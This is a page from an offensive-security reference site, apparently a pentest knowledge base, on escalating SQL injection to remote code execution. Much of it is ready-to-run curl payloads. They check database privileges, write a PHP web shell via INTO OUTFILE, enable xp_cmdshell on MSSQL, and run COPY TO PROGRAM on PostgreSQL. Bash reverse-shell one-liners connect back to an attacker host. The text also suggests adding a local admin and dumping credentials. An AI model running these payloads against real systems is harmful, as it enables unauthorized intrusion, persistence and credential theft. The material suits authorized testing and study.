# SQLi to Remote Code Execution

> Leverage SQL injection vulnerabilities to achieve RCE via techniques like INTO OUTFILE, xp_cmdshell, or UDF injection on web-facing database services.

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/sqli-to-rce
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-03-28
- **Updated:** 2026-07-10

SQL injection can escalate to OS command execution when the database user has FILE privilege or sysadmin rights. MySQL INTO OUTFILE writes a web shell to the web root. MSSQL xp_cmdshell executes OS commands directly from SQL. PostgreSQL COPY TO PROGRAM runs shell commands when the user is a superuser. All three require specific privilege conditions confirmed in [vulnerability discovery](https://hackindex.io/services/web/vulnerability-discovery/sql-injection-detection).

- **MySQL FILE privilege check** confirms INTO OUTFILE is available and identifies secure_file_priv restrictions.
- **MySQL web shell write** drops a PHP shell to the web root via UNION SELECT INTO OUTFILE.
- **MSSQL xp_cmdshell** enables OS command execution directly from SQL when sysadmin rights exist.
- **PostgreSQL COPY TO PROGRAM** executes OS commands when the database user is a superuser.
- **Privilege verification** is required before any path. Low-privilege app users rarely have FILE, sysadmin, or superuser.

The MySQL path requires FILE privilege and a web directory the MySQL process can write to. The MSSQL path requires sysadmin or the ALTER SETTINGS server permission. The PostgreSQL path requires superuser role. Running these blind wastes time and may trigger detection.

## MySQL: Check FILE Privilege

FILE privilege is required for INTO OUTFILE. Confirm the current user has it. The first query reads File_priv from `mysql.user` for the active session user. The second query checks `secure_file_priv`, which restricts where MySQL is allowed to write files. Run both before attempting any file write.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,File_priv,NULL FROM mysql.user WHERE user=SUBSTRING_INDEX(user(),'@',1)--"
# Y
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@@secure_file_priv,NULL--"
```

File_priv Y and an empty secure_file_priv confirm unrestricted file write. A non-empty secure_file_priv restricts writes to that path only. If that path sits outside the web root, the shell lands but the web server cannot reach it. File_priv N means INTO OUTFILE returns an access denied error regardless of the target path. The datadir value shows where MySQL stores its own data, not the application web root. Use it to infer the server filesystem layout. Common web root paths include `/var/www/html`, `/srv/www`, and `/usr/share/nginx/html`. Find the web root path before writing:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,@@datadir,NULL--"
# /var/lib/mysql/
```

## MySQL: Write a Web Shell

Write a PHP web shell to the web root using INTO OUTFILE. The target path must be writable by the MySQL process user. If the directory is owned by root or has restrictive permissions, the write fails with a MySQL error. Try alternate paths like `/var/www/` or a world-writable uploads directory if the default root write fails. The shell only executes on PHP-backed applications. On Python, Node, or Ruby stacks, the file is served as plain text and the shell never runs.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,'<?php system(\$_GET[\"cmd\"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'--"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Command execution confirmed. The uid=33(www-data) output confirms the web server process user. This is code execution, not root access. Start privilege escalation enumeration after getting an interactive shell. If bash fails in the reverse shell, substitute `sh` instead. If outbound TCP is filtered, try a bind shell or interact through the web shell for file operations. Get a reverse shell:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/shell.php" --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"
```

## MSSQL: Enable and Abuse xp_cmdshell

When SQLi hits MSSQL with sysadmin rights, enable xp_cmdshell through stacked queries. Stacked queries require the application driver to support query batching. PHP with PDO or ODBC supports stacking. PHP with MySQLi pointed at MSSQL rarely does. Confirm sysadmin first by injecting `SELECT IS_SRVROLEMEMBER('sysadmin')` into a visible column. A result of 1 confirms sysadmin. Without sysadmin, sp_configure throws a permission error and xp_cmdshell stays off. The `show advanced options` reconfigure step is only needed when the server has that setting at 0.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;EXEC xp_cmdshell 'whoami'--"
# nt authority\system
```

The nt authority\system output means the MSSQL service runs as SYSTEM. No privilege escalation is needed from here. Drop a payload, add a local admin, or dump credentials directly. If xp_cmdshell was already enabled, skip the sp_configure steps. If xp_cmdshell is disabled and sp_configure fails due to missing permissions, try Ole Automation Procedures as an alternative execution path. Both xp_cmdshell activation and execution write to the SQL Server error log and generate Windows event entries. Expect EDR alerts on monitored hosts. On hardened targets, the sysadmin role is locked to a dedicated service account. Reaching that account requires prior credential access, making this technique unavailable without an earlier escalation step.

## PostgreSQL: COPY TO PROGRAM

PostgreSQL's `COPY TO PROGRAM` executes OS commands when the database user is a superuser. This is the primary PostgreSQL RCE vector through SQLi and requires stacked queries. PostgreSQL supports stacked queries natively through most drivers (PDO, psycopg2, JDBC), so this path is commonly available when PostgreSQL SQLi exists. Confirm superuser status first:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,(SELECT CASE WHEN usesuper THEN 'SUPERUSER' ELSE 'REGULAR' END FROM pg_user WHERE usename=current_user),NULL--"
# SUPERUSER
```

With superuser confirmed, use COPY TO PROGRAM to execute commands. The output is not returned inline, so write it to a file and read it back, or go straight for a reverse shell:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;COPY (SELECT '') TO PROGRAM 'id > /tmp/pg_rce_test'--"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=0 UNION SELECT NULL,pg_read_file('/tmp/pg_rce_test'),NULL--"
# uid=114(postgres) gid=120(postgres) groups=120(postgres)
```

Command execution confirmed as the postgres user. Get a reverse shell:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;COPY (SELECT '') TO PROGRAM 'bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'--"
```

If the shell callback fails, try `/bin/sh` instead of bash. On older PostgreSQL versions without COPY TO PROGRAM (pre-9.3), the alternative is writing a shared library to disk via `lo_export` and loading it with `CREATE FUNCTION`, which is significantly more complex.

## Oracle: Code Execution via SQLi

Oracle RCE through SQLi typically requires DBA-level privileges and Java stored procedures (`CREATE JAVA SOURCE`) or `DBMS_SCHEDULER`. Both paths are more complex than MySQL, MSSQL, or PostgreSQL vectors and require the Oracle JVM to be installed (for Java procedures) or specific scheduler grants. In practice, Oracle web application users are almost always restricted to SELECT-only grants, making RCE via SQLi rare. When you do have DBA privileges on Oracle, `DBMS_SCHEDULER.CREATE_JOB` with `job_type => 'EXECUTABLE'` is the most direct path to OS command execution.

## References

- [MySQL: SELECT INTO OUTFILE](https://dev.mysql.com/doc/refman/8.0/en/select-into.html) - INTO OUTFILE syntax and secure_file_priv interaction
- [Microsoft: xp_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql) - xp_cmdshell enable procedure and permission requirements
- [PostgreSQL: COPY](https://www.postgresql.org/docs/current/sql-copy.html) - COPY TO PROGRAM syntax and superuser requirement
